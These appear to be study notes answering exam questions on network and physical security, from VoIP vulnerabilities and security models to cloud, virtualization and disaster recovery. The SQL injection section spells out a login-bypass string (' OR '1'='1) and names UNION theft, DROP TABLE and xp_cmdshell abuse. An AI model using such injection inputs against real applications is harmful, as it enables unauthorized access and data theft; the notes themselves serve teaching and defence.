Because VoIP runs over the same network as your computer data, it is susceptible to many of the same attacks discussed in your Unit 3 notes:

- **Packet Sniffing:** Since voice is data, an attacker can capture packets and use software to rebuild the conversation if it is not encrypted.
- **Denial of Service (DoS):** Attackers can flood the VoIP server or gateway with traffic, causing dropped calls or preventing the phone system from working entirely.
- **Man-in-the-Middle (MITM):** An attacker can intercept the call setup process to redirect calls or eavesdrop.

- **VLAN Hopping:** In a secure network design, voice traffic is usually separated from data traffic using a **Voice VLAN**. If not configured correctly, an attacker on the data network might "hop" over to the voice network.

Best Practices for Securing VoIP

Based on network hardening principles:

- **Encryption:** Use protocols like SRTP (Secure Real-time Transport Protocol) to encrypt the actual voice packets.
- **Network Segmentation:** Always place VoIP traffic on its own dedicated VLAN to isolate it from regular data traffic.
- **Firewall Configuration:** Use a firewall that can inspect VoIP-specific protocols (like SIP or H.323) to block malicious signaling.

5. List VoIP vulnerabilities.

The following are the key **VoIP vulnerabilities** identified in the text:

1. Eavesdropping and Packet Sniffing

Since VoIP converts voice into data packets, these packets can be intercepted using standard network tools.

- **The Vulnerability:** If the voice traffic is not encrypted, an attacker using a "sniffer" can capture the packets and use software to reconstruct the entire audio conversation.

2. Denial of Service (DoS)

VoIP systems rely on constant, real-time data flow to maintain call quality.

- **The Vulnerability:** Attackers can flood a VoIP gateway or server with a massive volume of "junk" data.
- **The Result:** This consumes all available bandwidth or processing power, leading to dropped calls, poor audio quality (jitter/latency), or a complete system shutdown.

3. Man-in-the-Middle (MITM) Attacks

Because VoIP uses standard networking protocols for "signaling" (setting up the call), an attacker can insert themselves into the process.

- **The Vulnerability:** An attacker can intercept the call-setup messages to redirect the call to a different destination or transparently listen to the conversation before passing it to the intended recipient.

4. VLAN Hopping

In secure network designs, voice traffic is typically isolated on its own "Voice VLAN" to separate it from regular computer data.

- **The Vulnerability:** If the network switch is misconfigured, an attacker on the data network can "hop" over to the voice network.

- **The Risk:** This gives the attacker direct access to the phone system, even if they are physically plugged into a standard data port.

5. Softphone Vulnerabilities

Many users use "softphones" (VoIP software installed on a PC or smartphone) rather than a physical desk phone.

- **The Vulnerability:** The security of the VoIP call becomes dependent on the security of the underlying operating system.
- **The Risk:** If the PC is infected with malware or a virus, the attacker can gain control of the microphone, record calls, or steal contact lists directly from the application.

6. Unauthorized Access and Toll Fraud

VoIP systems often have web-based management interfaces.

- **The Vulnerability:** Using default passwords or failing to patch the VoIP server software.
- **The Risk:** Attackers can gain administrative access to the phone system to make expensive long-distance calls at the organization's expense or disable the phone lines entirely.

6. What is PBX?

In the context of telecommunications and network security, **PBX** stands for **Private Branch Exchange**. It is a private telephone network used within a company or organization.

Users of a PBX system can communicate internally (within their office) and externally (with the outside world) using different communication channels like Voice over IP, ISDN, or analog.

How a PBX Works

A PBX allows you to have more phones than physical phone lines (PSTN lines) and offers free calls between users. It also provides features that aren't typically available with a standard phone line, such as:

- **Automated Attendants:** (e.g., "Press 1 for Sales")
- **Call Forwarding and Transferring**
- **Voicemail and Call Queuing**
- **Conference Calling**

Types of PBX Systems

As technology has evolved, PBX systems have moved from hardware-heavy boxes to software-driven solutions:

Type	Description

Traditional/Analog PBX	Uses standard copper phone lines. It is a physical box located on-site. While reliable, it is difficult to scale and lacks modern integration features.
IP PBX	A PBX system that delivers audio, video, and instant messaging through the TCP/IP protocol stack. It is much more flexible and easier to manage than analog systems.
Hosted/Cloud PBX	The PBX software is located on a service provider's server in the cloud. The organization pays a monthly fee and does not need to maintain the physical hardware.

PBX and Security

In modern network design, the PBX is often a target for attackers. Securing a PBX involves:

- **Physical Security:** Ensuring the "phone closet" or server room is locked.
- **Disabling Remote Maintenance:** Preventing hackers from accessing the system's management console from the internet.
- **Strong Passwords:** Changing all default administrative passwords.
- **Firewall Protection:** Placing the IP PBX behind a firewall that specifically monitors voice traffic.

7. What is the reference monitor concept?

The **Reference Monitor** is a core abstract security concept used to define the necessary properties of an Enforcing Mechanism. It is the heart of a trusted computer system's security kernel.

Its primary job is to bypass nothing: it intercepts every single request made by a **subject** (like a user or a process) to access an **object** (like a file or a database) and verifies that the request matches the defined security policy.

The Three Required Properties

For a Reference Monitor to be considered truly secure and effective, it must satisfy three mandatory requirements:

1. **Tamper-Proof:** The mechanism must be protected from modification by unauthorized users or processes. If an attacker can change the monitor, they can bypass the security rules.
2. **Always-Invoked (Non-Bypassable):** The monitor must be involved in every single access attempt. There should be no "backdoors" or ways to access data without the monitor checking the permissions first.
3. **Small enough to be Analyzed (Verifiable):** The code and logic of the monitor must be simple and small enough that it can be rigorously tested and verified to be complete and correct.

Relationship to the Security Kernel

While the Reference Monitor is an **abstract concept** (the "idea" of the gatekeeper), the **Security Kernel** is the **actual implementation** of that idea.

- **Reference Monitor:** The rulebook and the requirement that a guard must check every ID.
- **Security Kernel:** The hardware, firmware, and software elements that actually perform the ID check and let people through the gate.

Why It Matters

In modern operating systems and secure network designs, the Reference Monitor concept ensures **Isolation**. It prevents a process in a "low-security" zone from reaching into a "high-security" zone, which is fundamental for preventing data breaches and maintaining system integrity.

8. What are security models?

In the field of computer security, **Security Models** are formal descriptions of a security policy. They provide a mathematical or logical framework to represent how a system should enforce security rules to protect data.

While a "security policy" defines **what** is allowed, a "security model" provides the **how** by mapping those goals to system specifications.

Core Components of a Security Model

Every security model typically deals with three main elements:

- **Subjects:** Active entities (users, processes, or programs) that request access to resources.
- **Objects:** Passive entities (files, databases, memory blocks) that contain information.
- **Access Rules:** The specific permissions (read, write, execute) that govern the interaction between subjects and objects.

Major Types of Security Models

Security models are generally categorized by their primary goal: protecting **Confidentiality** (keeping secrets) or **Integrity** (preventing unauthorized changes).

1. Bell-LaPadula Model (Confidentiality)

Developed for the military, this model is strictly focused on preventing the unauthorized disclosure of information. It uses a "Multi-Level Security" approach.

- **Simple Security Property:** "No Read Up" (A user at a Secret level cannot read Top Secret files).
- *** (Star) Property:** "No Write Down" (A user at a Top Secret level cannot write information into a Secret-level file, preventing accidental leaks).

2. Biba Model (Integrity)

The Biba model is the "inverse" of Bell-LaPadula. It focuses on ensuring that information is not corrupted or modified by untrusted sources.

- **Simple Integrity Property:** "No Read Down" (To prevent being corrupted by low-integrity data).
- *** (Star) Integrity Property:** "No Write Up" (To prevent a low-integrity subject from corrupting high-integrity objects).

3. Clark-Wilson Model (Commercial Integrity)

Unlike Biba, which is mathematical, Clark-Wilson is designed for business environments (like banking). It focuses on **Separation of Duties** and ensures that users can only modify data through "Well-Formed Transactions" (authorized programs).

4. Brewer-Nash Model (The "Chinese Wall")

This model is designed to prevent **Conflicts of Interest**. It dynamically changes access permissions based on a user's previous activity. If a consultant works for Company A, the "Chinese Wall" model will automatically block them from accessing data for Company B (a competitor).

Comparison Summary

Model	Primary Focus	Key Mechanism
Bell-LaPadula	Confidentiality	Prevents data leaking to lower levels.
Biba	Integrity	Prevents data corruption from lower levels.
Clark-Wilson	Integrity	Uses authorized programs and separation of duties.
Brewer-Nash	Conflict of Interest	Access changes based on previous history.

9. What is security auditing?

Security auditing is the systematic, independent evaluation of an organization's security posture. It involves testing and examining the existing security controls to ensure they are effective, properly implemented, and compliant with established policies or regulations.

Think of it as a "financial audit" for your data: it verifies that the rules you say you are following are actually being enforced.

Core Objectives of an Audit

- **Verification:** Confirming that security controls (like firewalls or access lists) are functioning as intended.
- **Compliance:** Ensuring the organization meets legal or industry standards (such as HIPAA, GDPR, or PCI-DSS).
- **Risk Identification:** Discovering weaknesses or gaps in the security infrastructure before an attacker does.

- **Accountability:** Using logs and records to trace specific actions back to a specific user or process.

The Security Auditing Process

A standard audit generally follows these four phases:

1. **Preparation:** Defining the scope (what will be tested), the criteria (what are the "passing" rules), and gathering documentation.
2. **Execution:** The "fieldwork" phase where the auditor collects evidence through interviews, system configuration reviews, and technical testing.
3. **Analysis:** Comparing the findings against the expected security baseline to identify "findings" or "deficiencies."
4. **Reporting:** Presenting a formal document to management that outlines the risks found and provides recommendations for remediation.

Types of Audits

Type	Performed By	Purpose
Internal Audit	Employees of the organization.	Continuous improvement and preparation for external reviews.
External Audit	An independent third-party firm.	Provides an unbiased "stamp of approval" for stakeholders or regulators.
Third-Party Audit	A customer or partner.	To ensure that a vendor they are using is keeping their shared data safe.

Key Areas Audited

- **Access Control:** Are permissions set to "least privilege"? Are former employees' accounts deactivated?
- **Network Security:** Are the IDS/IPS systems active? Is the VoIP traffic isolated on its own VLAN?
- **Physical Security:** Are server rooms locked? Is there a log of who enters the building?
- **Disaster Recovery:** Is there a backup plan, and has it been tested recently?

Difference Between Auditing and Monitoring

It is common to confuse the two, but they serve different functions:

- **Monitoring** is a **real-time** activity (like a security guard watching a live camera) to catch immediate threats.
- **Auditing** is a **periodic** review (like a manager reviewing the guard's logbook at the end of the month) to ensure the system is working correctly over time.

UNIT 5: Cloud & Physical Security

1. What is cloud computing?

Cloud computing is a model for enabling ubiquitous, convenient, on-demand network access to a shared pool of configurable computing resources (such as networks, servers, storage, applications, and services). These resources can be rapidly provisioned and released with minimal management effort or service provider interaction.

Key Characteristics of Cloud Computing

According to your notes, cloud computing is defined by five essential characteristics:

1. **On-Demand Self-Service:** A consumer can unilaterally provision computing capabilities, such as server time and network storage, as needed automatically without requiring human interaction with each service provider.
2. **Broad Network Access:** Capabilities are available over the network and accessed through standard mechanisms that promote use by heterogeneous thin or thick client platforms (e.g., mobile phones, tablets, laptops, and workstations).
3. **Resource Pooling:** The provider's computing resources are pooled to serve multiple consumers using a multi-tenant model, with different physical and virtual resources dynamically assigned and reassigned according to consumer demand.
4. **Rapid Elasticity:** Capabilities can be elastically provisioned and released, in some cases automatically, to scale rapidly outward and inward commensurate with demand. To the consumer, the capabilities available for provisioning often appear to be unlimited.
5. **Measured Service:** Cloud systems automatically control and optimize resource use by leveraging a metering capability at some level of abstraction appropriate to the type of service (e.g., storage, processing, bandwidth, and active user accounts).

Why Organizations Use Cloud Computing

The notes highlight that cloud computing allows organizations to focus on their core business rather than spending time and money on computer infrastructure. It provides:

- **Cost Efficiency:** Reduces capital expenditure on hardware.
- **Scalability:** Allows businesses to grow their IT requirements as needed.
- **Accessibility:** Data and applications are available from anywhere with an internet connection.

2. Types of cloud services.

Cloud services are typically categorized into three main models based on the level of control the user has and the specific resources provided by the vendor. These are often referred to as the "Cloud Computing Stack."

1. Infrastructure as a Service (IaaS)

IaaS is the most flexible category of cloud services. It provides the fundamental building blocks for cloud IT, including access to networking features, computers (virtual or on dedicated hardware), and data storage space.

- **User Control:** You manage the operating systems, applications, and middleware, while the provider manages the physical hardware.
- **Best For:** Organizations that want to "rent" hardware rather than buy it, often used for web hosting or large-scale data analysis.
- **Examples:** Amazon Web Services (AWS), Microsoft Azure, Google Compute Engine.

2. Platform as a Service (PaaS)

PaaS removes the need for organizations to manage the underlying infrastructure (usually hardware and operating systems) and allows you to focus on the deployment and management of your applications.

- **User Control:** You only manage the applications and services you develop; the provider handles the OS, server hardware, and networking.
- **Best For:** Software developers who need a framework they can build upon to develop or customize applications.
- **Examples:** Google App Engine, Heroku, Windows Azure.

3. Software as a Service (SaaS)

SaaS provides you with a completed product that is run and managed by the service provider. In most cases, people referring to SaaS are referring to end-user applications.

- **User Control:** You do not manage the infrastructure or the application; you simply use the software through a web browser or app.
- **Best For:** Everyday business tasks like email, project management, or customer relationship management (CRM).
- **Examples:** Gmail, Salesforce, Microsoft Office 365.

3. What are benefits of cloud security?

Cloud security refers to the set of policies, controls, procedures, and technologies that work together to protect cloud-based systems, data, and infrastructure. These security measures are configured to protect cloud data, support regulatory compliance, and protect customers' privacy.

Key Benefits of Cloud Security

- **Centralized Security:** Just as cloud computing centralizes applications and data, cloud security centralizes protection. Cloud-based networks consist of numerous devices and endpoints; managing these centrally enhances traffic analysis and filtering, streamlines monitoring of network events, and results in fewer software updates and policy implementations.

- **Reduced Costs:** One of the biggest benefits of utilizing cloud security is the elimination of the need to invest in dedicated hardware. Not only does this reduce capital expenditure, but it also reduces administrative overheads. Where IT teams once spent time manually reacting to security issues, cloud security provides proactive features that offer protection with little to no human intervention.
- **Reduced Administration:** When you choose a reputable cloud services provider, you can kiss goodbye to manual security configurations and almost constant security updates. These tasks can be a massive drain on resources, but when you move them to the cloud, all security administration happens in one place and is managed on your behalf.
- **Reliability and Availability:** Cloud security services offer the ultimate in reliability. With the right cloud security measures in place, users can safely access data and applications within the cloud no matter where they are or what device they are using. This ensures that business operations continue smoothly even during potential disruptions.
- **Compliance Support:** Major cloud providers help you meet industry-specific compliance requirements (such as HIPAA, GDPR, or PCI DSS). They maintain a high level of security that many individual organizations might find difficult or expensive to achieve on their own.

4. What is virtualization?

virtualization is the process of creating a virtual version of something, such as a server, a storage device, an operating system, or network resources. It allows a single physical machine to act as multiple "virtual" machines, each running its own operating system and applications independently.

How Virtualization Works

The core of virtualization is a specialized piece of software called a **Hypervisor** (also known as a Virtual Machine Monitor or VMM).

- **The Hypervisor:** Sits between the physical hardware and the virtual machines. It assigns a portion of the physical CPU, memory, and storage to each virtual machine.
- **Virtual Machines (VMs):** These are the "guest" systems that run on top of the hypervisor. To the user and the software inside the VM, it appears as if they are running on their own dedicated physical computer.

Key Concepts and Benefits

- **Partitioning:** You can run multiple operating systems (like Windows and Linux) on one physical machine simultaneously.
- **Isolation:** If one virtual machine crashes or is infected with a virus, the other virtual machines on the same hardware remain unaffected and secure.
- **Encapsulation:** A virtual machine is essentially a single file. This makes it very easy to move, copy, or back up an entire computer system.
- **Hardware Independence:** Because the VM is isolated from the physical hardware by the hypervisor, you can migrate a VM from one physical server to another without changing any settings.

Virtualization in Cloud Computing

Virtualization is the foundational technology that makes **Cloud Computing** possible. It allows cloud providers to pool their massive hardware resources and "slice" them up into smaller virtual servers that can be rented out to different customers. This resource pooling ensures that the physical hardware is used much more efficiently than in traditional data centers.

5. How to secure virtual machines?

To secure virtual machines, organizations should focus on the following key areas:

1. Secure the Hypervisor

The hypervisor (or Virtual Machine Monitor) is the most critical component. If an attacker compromises the hypervisor, they gain control over every VM running on that hardware.

- **Keep it Updated:** Regularly apply security patches to the hypervisor to close vulnerabilities that could allow "VM Escape" attacks.
- **Limit Access:** Restrict administrative access to the hypervisor to a very small number of authorized personnel.
- **Disable Unnecessary Features:** Turn off any hypervisor services or hardware support features that are not strictly required for your specific VMs.

2. Implement Isolation and Segmentation

- **Network Isolation:** Use virtual local area networks (VLANs) and virtual firewalls to isolate VMs from each other. Do not allow a web server VM to communicate directly with a database VM unless it is strictly necessary.
- **Resource Limits:** Set "quotas" for CPU, memory, and disk usage for each VM. This prevents a single compromised or malfunctioning VM from consuming all the physical hardware resources (a form of Denial of Service).

3. Harden the Guest Operating Systems

Just because a machine is "virtual" does not mean it is immune to traditional attacks. Each VM must be treated as a physical server:

- **Remove Unnecessary Software:** Strip down the guest OS to only the essential services.
- **Endpoint Protection:** Install antivirus and anti-malware software inside each virtual machine.
- **Patch Management:** Ensure that every guest OS (Windows, Linux, etc.) is regularly updated with the latest security patches.

4. Secure the VM Files and Templates

Because a virtual machine is essentially a set of files on a disk, it is portable and easily stolen.

- **File Encryption:** Encrypt the virtual disk files so that even if the files are stolen, the data cannot be read without the encryption key.

- **Template Hardening:** When creating new VMs, use a pre-secured "Gold Image" or template. This ensures that every new machine starts with the correct security settings.
- **Log and Monitor:** Track all access to the VM storage files to detect unauthorized copying or moving of virtual machines.

5. Control "VM Sprawl"

VM sprawl occurs when virtual machines are created so easily that the IT department loses track of them.

- **Lifecycle Management:** Regularly audit the network to identify and shut down "zombie" VMs that are no longer being used but still consume resources and present a security risk.
- **Change Control:** Implement a formal process for requesting and approving the creation of new virtual machines.

6. What is SQL injection?

The goal is to trick the database into executing unintended commands, which can allow the attacker to bypass security measures, steal data, or even delete entire databases.

How SQL Injection Works

Most web applications use SQL to communicate with their databases. When a user enters their username and password, the application typically creates a query like this:

SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input';

An attacker can exploit this by entering a specially crafted string instead of a normal username. For example, if they enter ' OR '1'='1 in the login field, the query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

Since '1'='1' is **always true**, the database may grant access to the attacker without a valid password.

Common Types of SQL Injection Attacks

- **Simple Login Bypass:** Using statements like OR 1=1 to log in as an administrator.
- **Data Theft:** Using the UNION command to combine the results of the legitimate query with sensitive data from other tables (like credit card numbers or SSNs).
- **Database Manipulation:** Injecting commands like DELETE or DROP TABLE to destroy data.
- **Stored Procedure Invocations:** Using administrative functions (like xp_cmdshell in SQL Server) to execute operating system commands, potentially taking full control of the server.

Solutions and Prevention

According to the document, developers and administrators can prevent SQLi by:

- **Input Filtering:** Filtering all input fields for apostrophes (') and SQL keywords like INSERT, SELECT, and DELETE.
- **Parameterized Queries:** Using prepared statements so the database treats user input as data only, never as executable code.
- **Limiting Privileges:** Ensuring the web application's database account has the minimum permissions necessary (e.g., cannot delete tables).
- **Custom Error Pages:** Configuring the server to show generic error messages instead of technical SQL errors that give clues to attackers.
- **Web Application Firewalls (WAF):** Deploying solutions that automatically scan and block SQL injection attempts.

7. What is Secure Development Lifecycle (SDL)?

the **Secure Development Lifecycle (SDL)** is a software development process that helps developers build more secure software and address security compliance requirements while reducing development costs.

It is a systematic approach to integrating security into every phase of the software development process, rather than treating security as an afterthought or a final "plug-in" before release.

Core Phases of SDL

The document outlines how security is integrated into the traditional development steps:

1. **Security Requirements:** Identifying security goals and compliance requirements at the very beginning of the project.
2. **Design and Architecture:** Conducting **Threat Modeling** to identify potential vulnerabilities in the system's design and defining the "Attack Surface."
3. **Implementation (Coding):** Using secure coding standards and performing **Static Analysis** (code reviews) to find flaws like SQL injection or buffer overflows during the development phase.
4. **Verification (Testing):** Performing "Dynamic Analysis" and **Penetration Testing** on the running application to find vulnerabilities that only appear during execution.
5. **Release and Response:** Creating an incident response plan so the team is prepared to handle new vulnerabilities discovered after the software is in the hands of users.

Benefits of Using SDL

- **Reduced Risk:** By finding and fixing vulnerabilities early (during design or coding), the overall risk of a data breach is significantly lowered.
- **Cost Savings:** It is much cheaper to fix a security flaw during the design phase than it is to patch a production system that has already been compromised.

- **Trust:** Delivering software that is "secure by design" builds a better reputation with customers and stakeholders.
- **Compliance:** Helps organizations meet legal and regulatory requirements (like GDPR or HIPAA) by documenting the security steps taken during development.

Key Practices Mentioned

The notes specifically highlight that **Threat Modeling** and **Code Reviews** are essential activities within a healthy SDL to ensure that "Forms" and "Sessions" (which manage crucial data) are not exploited by attackers.

8. What is physical security?

physical security is the protection of personnel, hardware, software, networks, and data from physical actions and events that could cause serious loss or damage to an enterprise, agency, or institution.

This includes protection from fire, flood, natural disasters, burglary, theft, vandalism, and terrorism.

---

1. Classification of Assets

The first step in physical security is identifying what needs protecting and assigning value to it. Your materials categorize corporate physical assets as:

- **Computer & Technical Equipment:** Servers, storage (NAS/SAN), desktops, and power supplies (UPS).
- **Communications Equipment:** Routers, switches, firewalls, and PBXs.
- **Storage Media:** Magnetic tapes, hard drives, and SD cards.
- **Direct Monetary Value:** Cash, jewelry, and personal data.

2. Physical Vulnerability Assessment

A thorough assessment looks at four main areas:

- **Buildings:** Checking for unlocked windows, poor lighting, or unattended loading docks.
- **Computing Devices:** Ensuring systems are logged off when unattended and BIOS is password-protected.
- **Documents:** Shredding sensitive papers and educating employees on corporate espionage.
- **Records:** Locking up paper records like receipts and employee timesheets.

3. Choosing a Secure Site Location

When selecting a location for a data center or office, **survivability** is more important than cost. Key factors include:

- **Natural Risks:** Avoiding flood zones, earthquake zones, or high-crime areas.

- **Utilities:** Ensuring a reliable power grid and access to backup generators.
- **Proximity:** Knowing your neighbors and being close to emergency services (police/fire).
- **Wireless Security:** Being aware of potential RF (radio frequency) interception in heavily trafficked areas.

---

4. Physical Security Controls

To secure these assets, organizations use various "layers" of defense:

Control Type	Examples
Mechanical/Physical	Deadbolts, cable locks for laptops, and locked file cabinets.
Entry Controls	**Mantraps** (to prevent tailgating), ID badges, and **Security Guards**.
Biometrics	Fingerprint readers, iris scanners, and hand geometry devices.
Intrusion Detection	**CCTV** (Closed-Circuit Television) and motion-activated alarms.

5. Implementation Best Practices

- **Server Rooms:** Always keep them locked and use card readers to create an electronic audit trail of who enters.
- **CCTV Placement:** Monitor high-traffic areas, loading docks, and cash-handling zones.
- **Alarm Testing:** Alarms should be tested at least monthly with a response plan in place for all personnel.

9. What are access control systems?

access control systems are a combination of physical and electronic security measures designed to control who or what can view or use resources in a computing environment. They are a fundamental component of security that helps organizations protect their assets by ensuring only authorized users have access to specific areas or information.

The document highlights two primary ways these systems are categorized: **Physical Access Control** and **Logical (Electronic) Access Control**.

---

1. Physical Access Control

Physical access control limits access to campuses, buildings, rooms, and physical IT assets (like servers or switches). Your notes identify several key mechanisms:

- **Entry Controls:** These include security guards, ID badges, and **Mantraps** (small spaces with two sets of interlocking doors to prevent "tailgating").
- **Mechanical Locks:** Standard deadbolts and cable locks used to secure laptops or equipment to desks.

- **Biometrics:** Systems that use unique physical traits to identify individuals.
    - *Examples:* Fingerprint readers, iris scanners, hand geometry, and facial recognition.
- **Audit Trails:** Modern electronic locks and card readers create a digital log of exactly who entered a room and at what time, which is essential for security auditing.

---

2. Logical (Electronic) Access Control

Logical access control limits connections to computer networks, system files, and data. It typically follows a four-step process:

1. **Identification:** The user claims an identity (e.g., entering a username).
2. **Authentication:** The system verifies that identity (e.g., checking a password, token, or biometric).
3. **Authorization:** The system determines what the user is allowed to do (e.g., "Read-only" or "Administrator").
4. **Accountability:** The system logs the user's actions for future review.

---

3. Access Control Models

The study materials mention different ways that permissions can be managed:

- **Discretionary Access Control (DAC):** The owner of the data determines who has access.
- **Mandatory Access Control (MAC):** The system (based on a security model like Bell-LaPadula) enforces access based on security clearances.
- **Role-Based Access Control (RBAC):** Access is granted based on the user's job function within the organization.

---

4. Implementation Best Practices

- **Least Privilege:** Users should only be given the minimum level of access necessary to perform their job.
- **Separation of Duties:** No single person should have enough access to complete a critical task alone (e.g., one person initiates a payment, another approves it).
- **Regular Audits:** Access rights should be reviewed periodically to ensure that employees who have changed roles or left the company no longer have active permissions.

10. What is disaster recovery?

Disaster Recovery (DR) is a set of policies, tools, and procedures used to enable the recovery or continuation of vital technology infrastructure and systems following a natural or human-induced disaster.

While "Business Continuity" focuses on keeping the entire business running, **Disaster Recovery** focuses specifically on the **IT and data** aspects of getting systems back online.

---

1. Key Strategies for Recovery

To ensure data is not lost forever, the document highlights several technical protections:

- **Redundancy:** Ensuring critical data is stored in more than one location or with more than one cloud service provider.
- **Data Replication:** Using "Provider Elasticity" to keep live, mirrored copies of data across different geographic regions.
- **Backup Testing:** Regularly performing recovery testing to validate that the backups are actually functional. As the notes warn, a "Backup Failure" is only discovered when you try to rely on a backup that isn't any good.

2. Critical Recovery Metrics

Organizations typically define two main goals when planning for a disaster:

- **Recovery Point Objective (RPO):** The maximum age of files that must be recovered from backup storage for operations to resume. (How much data can we afford to lose?)
- **Recovery Time Objective (RTO):** The maximum amount of time allowed to restore a business process or network after a disaster. (How long can we afford to be down?)

---

3. Site Types and Survivability

When choosing a site for disaster recovery, the materials emphasize **survivability over cost**. Organizations often use off-site locations categorized by their readiness:

Site Type	Readiness Level	Cost
Hot Site	Fully functional with mirrored data; ready in minutes/hours.	Highest
Warm Site	Has hardware and network, but needs data restored from backups.	Medium
Cold Site	Basic space/power only; requires full equipment setup.	Lowest

4. Human and Physical Factors

Disaster recovery isn't just about data; it involves physical security and logistics:

- **Site Location:** Choosing areas low in natural risks (floods, earthquakes, or high crime).
- **Utilities:** Having backup power generators and secondary internet connections.
- **Response Plan:** Ensuring everyone knows their specific roles and responsibilities during an incident.